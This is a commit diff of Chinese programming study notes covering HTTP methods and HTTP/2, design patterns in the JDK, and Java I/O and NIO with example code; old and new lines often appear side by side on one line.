在正确实现的条件下GETHEADPUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。
GET /pageX HTTP/1.1 是幂等的,连续调用多次,客户端接收到的结果都是一样的:
``` ```
GET /pageX HTTP/1.1 GET /pageX HTTP/1.1
@ -976,10 +825,10 @@ GET /pageX HTTP/1.1
GET /pageX HTTP/1.1 GET /pageX HTTP/1.1
``` ```
POST /add_row HTTP/1.1 不是幂等的如果调用多次,就会增加多行记录: POST /add_row HTTP/1.1 不是幂等的如果调用多次,就会增加多行记录:
``` ```
POST /add_row HTTP/1.1 POST /add_row HTTP/1.1 -> Adds a 1nd row
POST /add_row HTTP/1.1 -> Adds a 2nd row POST /add_row HTTP/1.1 -> Adds a 2nd row
POST /add_row HTTP/1.1 -> Adds a 3rd row POST /add_row HTTP/1.1 -> Adds a 3rd row
``` ```
@ -1006,48 +855,10 @@ DELETE /idX/delete HTTP/1.1 -> Returns 404
> XMLHttpRequest 是一个 API它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。 > XMLHttpRequest 是一个 API它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。
在使用 XMLHttpRequest 的 POST 方法时,浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做例如火狐就不会。而 GET 方法 Header 和 Data 会一起发送。 - 在使用 XMLHttpRequest 的 POST 方法时,浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做例如火狐就不会。
- 而 GET 方法 Header 和 Data 会一起发送。
# 九、HTTP/1.0 与 HTTP/1.1 的区别
- HTTP/1.1 默认是持久连接
- HTTP/1.1 支持管线化处理
- HTTP/1.1 支持虚拟主机
- HTTP/1.1 新增状态码 100
- HTTP/1.1 支持分块传输编码
- HTTP/1.1 新增缓存处理指令 max-age
# 十、HTTP/2.0
## HTTP/1.x 缺陷
HTTP/1.x 实现简单是以牺牲应用性能为代价的:
- 客户端需要使用多个连接才能实现并发和缩短延迟;
- 不会压缩请求和响应首部,从而导致不必要的网络流量;
- 不支持有效的资源优先级,致使底层 TCP 连接的利用率低下。
## 二进制分帧层
HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧,它们都是二进制格式的。
<div align="center"> <img src="../pics//86e6a91d-a285-447a-9345-c5484b8d0c47.png" width="400"/> </div><br>
在通信过程中,只会有一个 TCP 连接存在它承载了任意数量的双向数据流Stream。一个数据流都有一个唯一标识符和可选的优先级信息用于承载双向信息。消息Message是与逻辑请求或响应消息对应的完整的一系列帧。帧Fram是最小的通信单位来自不同数据流的帧可以交错发送然后再根据每个帧头的数据流标识符重新组装。
<div align="center"> <img src="../pics//af198da1-2480-4043-b07f-a3b91a88b815.png" width="600"/> </div><br>
## 服务端推送
HTTP/2.0 在客户端请求一个资源时,会把相关的资源一起发送给客户端,客户端就不需要再次发起请求了。例如客户端请求 page.html 页面,服务端就把 script.js 和 style.css 等与之相关的资源一起发给客户端。
<div align="center"> <img src="../pics//e3f1657c-80fc-4dfa-9643-bf51abd201c6.png" width="800"/> </div><br>
## 首部压缩
HTTP/1.1 的首部带有大量信息而且每次都要重复发送。HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表从而避免了重复传输。不仅如此HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩。
<div align="center"> <img src="../pics//_u4E0B_u8F7D.png" width="600"/> </div><br>
# 参考资料 # 参考资料
@ -1055,6 +866,7 @@ HTTP/1.1 的首部带有大量信息而且每次都要重复发送。HTTP/2.0
- [MDN : HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP) - [MDN : HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)
- [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn) - [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)
- [htmlspecialchars](http://php.net/manual/zh/function.htmlspecialchars.php) - [htmlspecialchars](http://php.net/manual/zh/function.htmlspecialchars.php)
- [Difference between file URI and URL in java](http://java2db.com/java-io/how-to-get-and-the-difference-between-file-uri-and-url-in-java)
- [How to Fix SQL Injection Using Java PreparedStatement & CallableStatement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement) - [How to Fix SQL Injection Using Java PreparedStatement & CallableStatement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)
- [浅谈 HTTP 中 Get 与 Post 的区别](https://www.cnblogs.com/hyddd/archive/2009/03/31/1426026.html) - [浅谈 HTTP 中 Get 与 Post 的区别](https://www.cnblogs.com/hyddd/archive/2009/03/31/1426026.html)
- [Are http:// and www really necessary?](https://www.webdancers.com/are-http-and-www-necesary/) - [Are http:// and www really necessary?](https://www.webdancers.com/are-http-and-www-necesary/)
@ -1071,10 +883,6 @@ HTTP/1.1 的首部带有大量信息而且每次都要重复发送。HTTP/2.0
- [COOKIE 和 SESSION 有什么区别](https://www.zhihu.com/question/19786827) - [COOKIE 和 SESSION 有什么区别](https://www.zhihu.com/question/19786827)
- [Cookie/Session 的机制与安全](https://harttle.land/2015/08/10/cookie-session.html) - [Cookie/Session 的机制与安全](https://harttle.land/2015/08/10/cookie-session.html)
- [HTTPS 证书原理](https://shijianan.com/2017/06/11/https/) - [HTTPS 证书原理](https://shijianan.com/2017/06/11/https/)
- [维基百科:跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
- [维基百科SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
- [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
- [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn) - [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest) - [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/) - [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)

View File

@ -1,283 +0,0 @@
<!-- GFM-TOC -->
* [一、创建型](#一创建型)
* [1. 单例模式](#1-单例模式)
* [2. 简单工厂模式](#2-简单工厂模式)
* [3. 工厂方法模式](#3-工厂方法模式)
* [4. 抽象工厂](#4-抽象工厂)
* [5. 生成器模式](#5-生成器模式)
* [6. 原型模式](#6-原型模式)
* [二、行为型](#二行为型)
* [1. 责任链](#1-责任链)
* [2. 命令模式](#2-命令模式)
* [3. 解释器模式](#3-解释器模式)
* [4. 迭代器](#4-迭代器)
* [5. 中间人模式](#5-中间人模式)
* [6. 备忘录模式](#6-备忘录模式)
* [7. 观察者模式](#7-观察者模式)
* [8. 策略模式](#8-策略模式)
* [9. 模板方法](#9-模板方法)
* [10. 访问者模式](#10-访问者模式)
* [11. 空对象模式](#11-空对象模式)
* [三、结构型](#三结构型)
* [1. 适配器](#1-适配器)
* [2. 桥接模式](#2-桥接模式)
* [3. 组合模式](#3-组合模式)
* [4. 装饰者模式](#4-装饰者模式)
* [5. 蝇量模式](#5-蝇量模式)
* [6. 动态代理](#6-动态代理)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、创建型
## 1. 单例模式
确保只实例化一个对象,并提供一个对象的全局访问点。
```java
java.lang.Runtime#getRuntime()
java.awt.Toolkit#getDefaultToolkit()
java.awt.GraphicsEnvironment#getLocalGraphicsEnvironment()
java.awt.Desktop#getDesktop()
```
## 2. 简单工厂模式
在不对用户暴露对象内部逻辑的前提下创建对象。
## 3. 工厂方法模式
定义创建对象的接口,但是让子类来决定应该使用哪个类来创建。
```java
java.lang.Proxy#newProxyInstance()
java.lang.Object#toString()
java.lang.Class#newInstance()
java.lang.reflect.Array#newInstance()
java.lang.reflect.Constructor#newInstance()
java.lang.Boolean#valueOf(String)
java.lang.Class#forName()
```
## 4. 抽象工厂
提供一个创建相关对象家族的接口,而没有明确指明它们的类。
```java
java.util.Calendar#getInstance()
java.util.Arrays#asList()
java.util.ResourceBundle#getBundle()
java.sql.DriverManager#getConnection()
java.sql.Connection#createStatement()
java.sql.Statement#executeQuery()
java.text.NumberFormat#getInstance()
javax.xml.transform.TransformerFactory#newInstance()
```
## 5. 生成器模式
定义一个新的类来构造另一个类的实例,以创建一个复杂的对象。
它可以封装一个对象的构造过程,并允许按步骤构造。
```java
java.lang.StringBuilder#append()
java.lang.StringBuffer#append()
java.sql.PreparedStatement
javax.swing.GroupLayout.Group#addComponent()
```
## 6. 原型模式
使用原型实例指定要创建对象的类型;通过复制这个原型来创建新对象。
```java
java.lang.Object#clone()
java.lang.Cloneable
```
# 二、行为型
## 1. 责任链
避免将请求的发送者附加到其接收者,从而使其它对象也可以处理请求;将请求以对象的方式发送到链上直到请求被处理完毕。
```java
java.util.logging.Logger#log()
javax.servlet.Filter#doFilter()
```
## 2. 命令模式
将命令封装进对象中;允许使用命令对象对客户对象进行参数化;允许将命令对象存放到队列中。
```java
java.lang.Runnable
javax.swing.Action
```
## 3. 解释器模式
为语言创建解释器,通常由语言的语法和语法分析来定义。
```java
java.util.Pattern
java.text.Normalizer
java.text.Format
```
## 4. 迭代器
提供一种一致的访问聚合对象元素的方法,并且不暴露聚合对象的内部表示。
```java
java.util.Iterator
java.util.Enumeration
```
## 5. 中间人模式
使用中间人对象来封装对象之间的交互。中间人模式可以降低交互对象之间的耦合程度。
```java
java.util.Timer
java.util.concurrent.Executor#execute()
java.util.concurrent.ExecutorService#submit()
java.lang.reflect.Method#invoke()
```
## 6. 备忘录模式
在不违反封装的情况下获得对象的内部状态,从而在需要时可以将对象恢复到最初状态。
```java
java.util.Date
java.io.Serializable
```
## 7. 观察者模式
定义对象之间的一对多依赖,当一个对象状态改变时,它的所有依赖都会收到通知并且自动更新状态。
```java
java.util.EventListener
javax.servlet.http.HttpSessionBindingListener
javax.servlet.http.HttpSessionAttributeListener
javax.faces.event.PhaseListener
```
## 8. 策略模式
定义一系列算法,封装每个算法,并使它们可以互换。策略可以让算法独立于使用它的客户端。
```java
java.util.Comparator#compare()
javax.servlet.http.HttpServlet
javax.servlet.Filter#doFilter()
```
## 9. 模板方法
定义算法框架,并将一些步骤的实现延迟到子类。通过模板方法,子类可以重新定义算法的某些步骤,而不用改变算法的结构。
```java
java.util.Collections#sort()
java.io.InputStream#skip()
java.io.InputStream#read()
java.util.AbstractList#indexOf()
```
## 10. 访问者模式
提供便捷的维护方式来操作一组对象。它使你在不改变操作对象的前提下,可以修改或扩展对象的行为。
例如集合,它可以包含不同类型的元素,访问者模式允许在不知道具体元素类型的前提下对集合元素进行一些操作。
```java
javax.lang.model.element.Element and javax.lang.model.element.ElementVisitor
javax.lang.model.type.TypeMirror and javax.lang.model.type.TypeVisitor
```
## 11. 空对象模式
使用什么都不做的空对象来替代 NULL。
# 三、结构型
## 1. 适配器
把一个类接口转换成另一个用户需要的接口。
```java
java.util.Arrays#asList()
javax.swing.JTable(TableModel)
java.io.InputStreamReader(InputStream)
java.io.OutputStreamWriter(OutputStream)
javax.xml.bind.annotation.adapters.XmlAdapter#marshal()
javax.xml.bind.annotation.adapters.XmlAdapter#unmarshal()
```
## 2. 桥接模式
将抽象与实现分离开来,使它们可以独立变化。
```java
AWT (It provides an abstraction layer which maps onto the native OS the windowing support.)
JDBC
```
## 3. 组合模式
将对象组合成树形结构来表示整体-部分层次关系,允许用户以相同的方式处理单独对象和组合对象。
```java
javax.swing.JComponent#add(Component)
java.awt.Container#add(Component)
java.util.Map#putAll(Map)
java.util.List#addAll(Collection)
java.util.Set#addAll(Collection)
```
## 4. 装饰者模式
为对象动态添加功能。
```java
java.io.BufferedInputStream(InputStream)
java.io.DataInputStream(InputStream)
java.io.BufferedOutputStream(OutputStream)
java.util.zip.ZipOutputStream(OutputStream)
java.util.Collections#checked[List|Map|Set|SortedSet|SortedMap]()
```
## 5. 蝇量模式
利用共享的方式来支持大量的对象,这些对象一部分内部状态是相同的,而另一份状态可以变化。
Java 利用缓存来加速大量小对象的访问时间。
```java
java.lang.Integer#valueOf(int)
java.lang.Boolean#valueOf(boolean)
java.lang.Byte#valueOf(byte)
java.lang.Character#valueOf(char)
```
## 6. 动态代理
提供一个占位符来控制对象的访问。
代理可以是一些轻量级的对象,它控制着对重量级对象的访问,只有在真正实例化这些重量级对象时才会去实例化它。
```java
java.lang.reflect.Proxy
RMI
```
# 参考资料
- [The breakdown of design patterns in JDK](http://www.programering.com/a/MTNxAzMwATY.html)
- [Design Patterns](http://www.oodesign.com/)

View File

@ -2,8 +2,17 @@
* [一、概览](#一概览) * [一、概览](#一概览)
* [二、磁盘操作](#二磁盘操作) * [二、磁盘操作](#二磁盘操作)
* [三、字节操作](#三字节操作) * [三、字节操作](#三字节操作)
* [实现文件复制](#实现文件复制)
* [装饰者模式](#装饰者模式)
* [四、字符操作](#四字符操作) * [四、字符操作](#四字符操作)
* [编码与解码](#编码与解码)
* [String 的编码方式](#string-的编码方式)
* [Reader 与 Writer](#reader-与-writer)
* [实现逐行输出文本文件的内容](#实现逐行输出文本文件的内容)
* [五、对象操作](#五对象操作) * [五、对象操作](#五对象操作)
* [序列化](#序列化)
* [Serializable](#serializable)
* [transient](#transient)
* [六、网络操作](#六网络操作) * [六、网络操作](#六网络操作)
* [InetAddress](#inetaddress) * [InetAddress](#inetaddress)
* [URL](#url) * [URL](#url)
@ -26,78 +35,190 @@
Java 的 I/O 大概可以分成以下几类: Java 的 I/O 大概可以分成以下几类:
1. 磁盘操作File - 磁盘操作File
2. 字节操作InputStream 和 OutputStream - 字节操作InputStream 和 OutputStream
3. 字符操作Reader 和 Writer - 字符操作Reader 和 Writer
4. 对象操作Serializable - 对象操作Serializable
5. 网络操作Socket - 网络操作Socket
6. 新的输入/输出NIO - 新的输入/输出NIO
# 二、磁盘操作 # 二、磁盘操作
File 类可以用于表示文件和目录,但是它只用于表示文件的信息,而不表示文件的内容。 File 类可以用于表示文件和目录的信息,但是它不表示文件的内容。
递归地列出一个目录下所有文件:
```java
public static void listAllFiles(File dir) {
if (dir == null || !dir.exists()) {
return;
}
if (dir.isFile()) {
System.out.println(dir.getName());
return;
}
for (File file : dir.listFiles()) {
listAllFiles(file);
}
}
```
# 三、字节操作 # 三、字节操作
<div align="center"> <img src="../pics//DP-Decorator-java.io.png" width="500"/> </div><br> ## 实现文件复制
Java I/O 使用了装饰者模式来实现。以 InputStream 为例InputStream 是抽象组件FileInputStream 是 InputStream 的子类属于具体组件提供了字节流的输入操作。FilterInputStream 属于抽象装饰者,装饰者用于装饰组件,为组件提供额外的功能,例如 BufferedInputStream 为 FileInputStream 提供缓存的功能。 ```java
public static void copyFile(String src, String dist) throws IOException {
FileInputStream in = new FileInputStream(src);
FileOutputStream out = new FileOutputStream(dist);
byte[] buffer = new byte[20 * 1024];
int cnt;
// read() 最多读取 buffer.length 个字节
// 返回的是实际读取的个数
// 返回 -1 的时候表示读到 eof即文件尾
while ((cnt = in.read(buffer, 0, buffer.length)) != -1) {
out.write(buffer, 0, cnt);
}
in.close();
out.close();
}
```
## 装饰者模式
Java I/O 使用了装饰者模式来实现。以 InputStream 为例,
- InputStream 是抽象组件;
- FileInputStream 是 InputStream 的子类,属于具体组件,提供了字节流的输入操作;
- FilterInputStream 属于抽象装饰者,装饰者用于装饰组件,为组件提供额外的功能。例如 BufferedInputStream 为 FileInputStream 提供缓存的功能。
<div align="center"> <img src="../pics//DP-Decorator-java.io.png" width="500"/> </div><br>
实例化一个具有缓存功能的字节流对象时,只需要在 FileInputStream 对象上再套一层 BufferedInputStream 对象即可。 实例化一个具有缓存功能的字节流对象时,只需要在 FileInputStream 对象上再套一层 BufferedInputStream 对象即可。
```java ```java
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file)); FileInputStream fileInputStream = new FileInputStream(filePath);
BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
``` ```
DataInputStream 装饰者提供了对更多数据类型进行输入的操作,比如 int、double 等基本类型。 DataInputStream 装饰者提供了对更多数据类型进行输入的操作,比如 int、double 等基本类型。
批量读入文件内容到字节数组:
```java
byte[] buf = new byte[20*1024];
int bytes = 0;
// 最多读取 buf.length 个字节,返回的是实际读取的个数,返回 -1 的时候表示读到 eof即文件尾
while((bytes = in.read(buf, 0 , buf.length)) != -1) {
// ...
}
```
# 四、字符操作 # 四、字符操作
不管是磁盘还是网络传输,最小的存储单元都是字节,而不是字符,所以 I/O 操作的都是字节而不是字符。但是在程序中操作的通常是字符形式的数据,因此需要提供对字符进行操作的方法。 ## 编码与解码
InputStreamReader 实现从文本文件的字节流解码成字符流OutputStreamWriter 实现字符流编码成为文本文件的字节流。它们继承自 Reader 和 Writer。
编码就是把字符转换为字节,而解码是把字节重新组合成字符。 编码就是把字符转换为字节,而解码是把字节重新组合成字符。
```java
byte[] bytes = str.getBytes(encoding); // 编码
String str = new String(bytes, encoding) // 解码
```
如果编码和解码过程使用不同的编码方式那么就出现了乱码。 如果编码和解码过程使用不同的编码方式那么就出现了乱码。
- GBK 编码中,中文占 2 个字节,英文占 1 个字节; - GBK 编码中,中文字符占 2 个字节,英文字符占 1 个字节;
- UTF-8 编码中,中文占 3 个字节,英文占 1 个字节; - UTF-8 编码中,中文字符占 3 个字节,英文字符占 1 个字节;
- UTF-16be 编码中,中文和英文都占 2 个字节。 - UTF-16be 编码中,中文字符和英文字符都占 2 个字节。
UTF-16be 中的 be 指的是 Big Endian也就是大端。相应地也有 UTF-16lele 指的是 Little Endian也就是小端。 UTF-16be 中的 be 指的是 Big Endian也就是大端。相应地也有 UTF-16lele 指的是 Little Endian也就是小端。
Java 使用双字节编码 UTF-16be这不是指 Java 只支持这一种编码方式,而是说 char 这种类型使用 UTF-16be 进行编码。char 类型占 16 位也就是两个字节Java 使用这种双字节编码是为了让一个中文或者一个英文都能使用一个 char 来存储。 Java 使用双字节编码 UTF-16be这不是指 Java 只支持这一种编码方式,而是说 char 这种类型使用 UTF-16be 进行编码。char 类型占 16 位也就是两个字节Java 使用这种双字节编码是为了让一个中文或者一个英文都能使用一个 char 来存储。
## String 的编码方式
String 可以看成一个字符序列,可以指定一个编码方式将它编码为字节序列,也可以指定一个编码方式将一个字节序列解码为 String。
```java
String str1 = "中文";
byte[] bytes = str1.getBytes("UTF-8");
String str2 = new String(bytes, "UTF-8");
System.out.println(str2);
```
在调用无参数 getBytes() 方法时,默认的编码方式不是 UTF-16be。双字节编码的好处是可以使用一个 char 存储中文和英文,而将 String 转为 bytes[] 字节数组就不再需要这个好处因此也就不再需要双字节编码。getBytes() 的默认编码方式与平台有关,一般为 UTF-8。
```java
byte[] bytes = str1.getBytes();
```
## Reader 与 Writer
不管是磁盘还是网络传输,最小的存储单元都是字节,而不是字符。但是在程序中操作的通常是字符形式的数据,因此需要提供对字符进行操作的方法。
- InputStreamReader 实现从字节流解码成字符流;
- OutputStreamWriter 实现字符流编码成为字节流。
## 实现逐行输出文本文件的内容
```java
public static void readFileContent(String filePath) throws IOException {
FileReader fileReader = new FileReader(filePath);
BufferedReader bufferedReader = new BufferedReader(fileReader);
String line;
while ((line = bufferedReader.readLine()) != null) {
System.out.println(line);
}
// 装饰者模式使得 BufferedReader 组合了一个 Reader 对象
// 在调用 BufferedReader 的 close() 方法时会去调用 Reader 的 close() 方法
// 因此只要一个 close() 调用即可
bufferedReader.close();
}
```
# 五、对象操作 # 五、对象操作
## 序列化
序列化就是将一个对象转换成字节序列,方便存储和传输。 序列化就是将一个对象转换成字节序列,方便存储和传输。
序列化ObjectOutputStream.writeObject() - 序列化ObjectOutputStream.writeObject()
- 反序列化ObjectInputStream.readObject()
反序列化ObjectInputStream.readObject() 不会对静态变量进行序列化,因为序列化只是保存对象的状态,静态变量属于类的状态。
序列化的类需要实现 Serializable 接口,它只是一个标准,没有任何方法需要实现。 ## Serializable
序列化的类需要实现 Serializable 接口,它只是一个标准,没有任何方法需要实现,但是如果不去实现它的话而进行序列化,会抛出异常。
```java
public static void main(String[] args) throws IOException, ClassNotFoundException {
A a1 = new A(123, "abc");
String objectFile = "file/a1";
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(objectFile));
objectOutputStream.writeObject(a1);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(objectFile));
A a2 = (A) objectInputStream.readObject();
objectInputStream.close();
System.out.println(a2);
}
private static class A implements Serializable {
private int x;
private String y;
A(int x, String y) {
this.x = x;
this.y = y;
}
@Override
public String toString() {
return "x = " + x + " " + "y = " + y;
}
}
```
## transient
transient 关键字可以使一些属性不会被序列化。 transient 关键字可以使一些属性不会被序列化。
**ArrayList 序列化和反序列化的实现** ArrayList 中存储数据的数组是用 transient 修饰的,因为这个数组是动态扩展的,并不是所有的空间都被使用,因此就不需要所有的内容都被序列化。通过重写序列化和反序列化方法,使得可以只序列化数组中有内容的那部分数据。 ArrayList 中存储数据的数组 elementData 是用 transient 修饰的,因为这个数组是动态扩展的,并不是所有的空间都被使用,因此就不需要所有的内容都被序列化。通过重写序列化和反序列化方法,使得可以只序列化数组中有内容的那部分数据。
```java ```java
private transient Object[] elementData; private transient Object[] elementData;
@ -107,37 +228,45 @@ private transient Object[] elementData;
Java 中的网络支持: Java 中的网络支持:
1. InetAddress用于表示网络上的硬件资源即 IP 地址; - InetAddress用于表示网络上的硬件资源即 IP 地址;
2. URL统一资源定位符,通过 URL 可以直接读取或者写入网络上的数据 - URL统一资源定位符
3. Sockets使用 TCP 协议实现网络通信; - Sockets使用 TCP 协议实现网络通信;
4. Datagram使用 UDP 协议实现网络通信。 - Datagram使用 UDP 协议实现网络通信。
## InetAddress ## InetAddress
没有公有构造函数,只能通过静态方法来创建实例。 没有公有构造函数,只能通过静态方法来创建实例。
```java ```java
InetAddress.getByName(String host); InetAddress.getByName(String host);
InetAddress.getByAddress(byte[] addr); InetAddress.getByAddress(byte[] address);
``` ```
## URL ## URL
可以直接从 URL 中读取字节流数据 可以直接从 URL 中读取字节流数据
```java ```java
URL url = new URL("http://www.baidu.com"); public static void main(String[] args) throws IOException {
InputStream is = url.openStream(); // 字节流
InputStreamReader isr = new InputStreamReader(is, "utf-8"); // 字符流 URL url = new URL("http://www.baidu.com");
BufferedReader br = new BufferedReader(isr);
String line = br.readLine(); /* 字节流 */
while (line != null) { InputStream is = url.openStream();
System.out.println(line);
line = br.readLine(); /* 字符流 */
InputStreamReader isr = new InputStreamReader(is, "utf-8");
/* 提供缓存功能 */
BufferedReader br = new BufferedReader(isr);
String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
br.close();
} }
br.close();
isr.close();
is.close();
``` ```
## Sockets ## Sockets
@ -150,22 +279,18 @@ is.close();
## Datagram ## Datagram
- DatagramPacket数据包类
- DatagramSocket通信类 - DatagramSocket通信类
- DatagramPacket数据包类
# 七、NIO # 七、NIO
- [Java NIO Tutorial](http://tutorials.jenkov.com/java-nio/index.html) 新的输入/输出 (NIO) 库是在 JDK 1.4 中引入的,弥补了原来的 I/O 的不足,提供了高速的、面向块的 I/O。
- [Java NIO 浅析](https://tech.meituan.com/nio.html)
- [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html)
新的输入/输出 (NIO) 库是在 JDK 1.4 中引入的。NIO 弥补了原来的 I/O 的不足,提供了高速的、面向块的 I/O。
## 流与块 ## 流与块
I/O 与 NIO 最重要的区别是数据打包和传输的方式I/O 以流的方式处理数据,而 NIO 以块的方式处理数据。 I/O 与 NIO 最重要的区别是数据打包和传输的方式I/O 以流的方式处理数据,而 NIO 以块的方式处理数据。
面向流的 I/O 一次处理一个字节数据一个输入流产生一个字节数据,一个输出流消费一个字节数据。为流式数据创建过滤器非常容易,链接几个过滤器,以便每个过滤器只负责复杂处理机制的一部分。不利的一面是,面向流的 I/O 通常相当慢。 面向流的 I/O 一次处理一个字节数据一个输入流产生一个字节数据,一个输出流消费一个字节数据。为流式数据创建过滤器非常容易,链接几个过滤器,以便每个过滤器只负责复杂处理机制的一部分。不利的一面是,面向流的 I/O 通常相当慢。
面向块的 I/O 一次处理一个数据块,按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。 面向块的 I/O 一次处理一个数据块,按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
@ -177,7 +302,7 @@ I/O 包和 NIO 已经很好地集成了java.io.\* 已经以 NIO 为基础重
通道 Channel 是对原 I/O 包中的流的模拟,可以通过它读取和写入数据。 通道 Channel 是对原 I/O 包中的流的模拟,可以通过它读取和写入数据。
通道与流的不同之处在于,流只能在一个方向上移动(一个流必须是 InputStream 或者 OutputStream 的子类),而通道是双向的,可以用于读、写或者同时用于读写。 通道与流的不同之处在于,流只能在一个方向上移动(一个流必须是 InputStream 或者 OutputStream 的子类),而通道是双向的,可以用于读、写或者同时用于读写。
通道包括以下类型: 通道包括以下类型:
@ -214,7 +339,7 @@ I/O 包和 NIO 已经很好地集成了java.io.\* 已经以 NIO 为基础重
<div align="center"> <img src="../pics//1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br> <div align="center"> <img src="../pics//1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br>
② 从输入通道中读取 5 个字节数据写入缓冲区中,此时 position 移动设置为 5limit 保持不变。 ② 从输入通道中读取 5 个字节数据写入缓冲区中,此时 position 为 5limit 保持不变。
<div align="center"> <img src="../pics//80804f52-8815-4096-b506-48eef3eed5c6.png"/> </div><br> <div align="center"> <img src="../pics//80804f52-8815-4096-b506-48eef3eed5c6.png"/> </div><br>
@ -235,47 +360,56 @@ I/O 包和 NIO 已经很好地集成了java.io.\* 已经以 NIO 为基础重
以下展示了使用 NIO 快速复制文件的实例: 以下展示了使用 NIO 快速复制文件的实例:
```java ```java
public class FastCopyFile { public static void fastCopy(String src, String dist) throws IOException {
public static void main(String args[]) throws Exception {
String inFile = "data/abc.txt"; /* 获得源文件的输入字节流 */
String outFile = "data/abc-copy.txt"; FileInputStream fin = new FileInputStream(src);
// 获得源文件的输入字节流 /* 获取输入字节流的文件通道 */
FileInputStream fin = new FileInputStream(inFile); FileChannel fcin = fin.getChannel();
// 获取输入字节流的文件通道
FileChannel fcin = fin.getChannel();
// 获取目标文件的输出字节流 /* 获取目标文件的输出字节流 */
FileOutputStream fout = new FileOutputStream(outFile); FileOutputStream fout = new FileOutputStream(dist);
// 获取输出字节流的通道
FileChannel fcout = fout.getChannel();
// 为缓冲区分配 1024 个字节 /* 获取输出字节流的文件通道 */
ByteBuffer buffer = ByteBuffer.allocateDirect(1024); FileChannel fcout = fout.getChannel();
while (true) { /* 为缓冲区分配 1024 个字节 */
// 从输入通道中读取数据到缓冲区中 ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
int r = fcin.read(buffer);
// read() 返回 -1 表示 EOF while (true) {
if (r == -1)
break; /* 从输入通道中读取数据到缓冲区中 */
// 切换读写 int r = fcin.read(buffer);
buffer.flip();
// 把缓冲区的内容写入输出文件中 /* read() 返回 -1 表示 EOF */
fcout.write(buffer); if (r == -1) {
// 清空缓冲区 break;
buffer.clear();
} }
/* 切换读写 */
buffer.flip();
/* 把缓冲区的内容写入输出文件中 */
fcout.write(buffer);
/* 清空缓冲区 */
buffer.clear();
} }
} }
``` ```
## 选择器 ## 选择器
一个线程 Thread 使用一个选择器 Selector 通过轮询的方式去检查多个通道 Channel 上的事件,从而让一个线程就可以处理多个事件 NIO 常常被叫做非阻塞 IO主要是因为 NIO 在网络通信中的非阻塞特性被广泛使用
因为创建和切换线程的开销很大,因此使用一个线程来处理多个事件而不是一个线程处理个事件具有更好的性能 NIO 实现了 IO 多路复用中的 Reactor 模型,一个线程 Thread 使用一个选择器 Selector 通过轮询的方式去监听多个通道 Channel 上的事件,从而让一个线程就可以处理个事件。
通过配置监听的通道 Channel 为非阻塞,那么当 Channel 上的 IO 事件还未到达时,就不会进入阻塞状态一直等待,而是继续轮询其它 Channel找到 IO 事件已经到达的 Channel 执行。
因为创建和切换线程的开销很大,因此使用一个线程来处理多个事件而不是一个线程处理一个事件,对于 IO 密集型的应用具有很好地性能。
应该注意的是,只有套接字 Channel 才能配置为非阻塞,而 FileChannel 不能,为 FileChannel 配置非阻塞也没有意义。
<div align="center"> <img src="../pics//4d930e22-f493-49ae-8dff-ea21cd6895dc.png"/> </div><br> <div align="center"> <img src="../pics//4d930e22-f493-49ae-8dff-ea21cd6895dc.png"/> </div><br>
@ -293,7 +427,7 @@ ssChannel.configureBlocking(false);
ssChannel.register(selector, SelectionKey.OP_ACCEPT); ssChannel.register(selector, SelectionKey.OP_ACCEPT);
``` ```
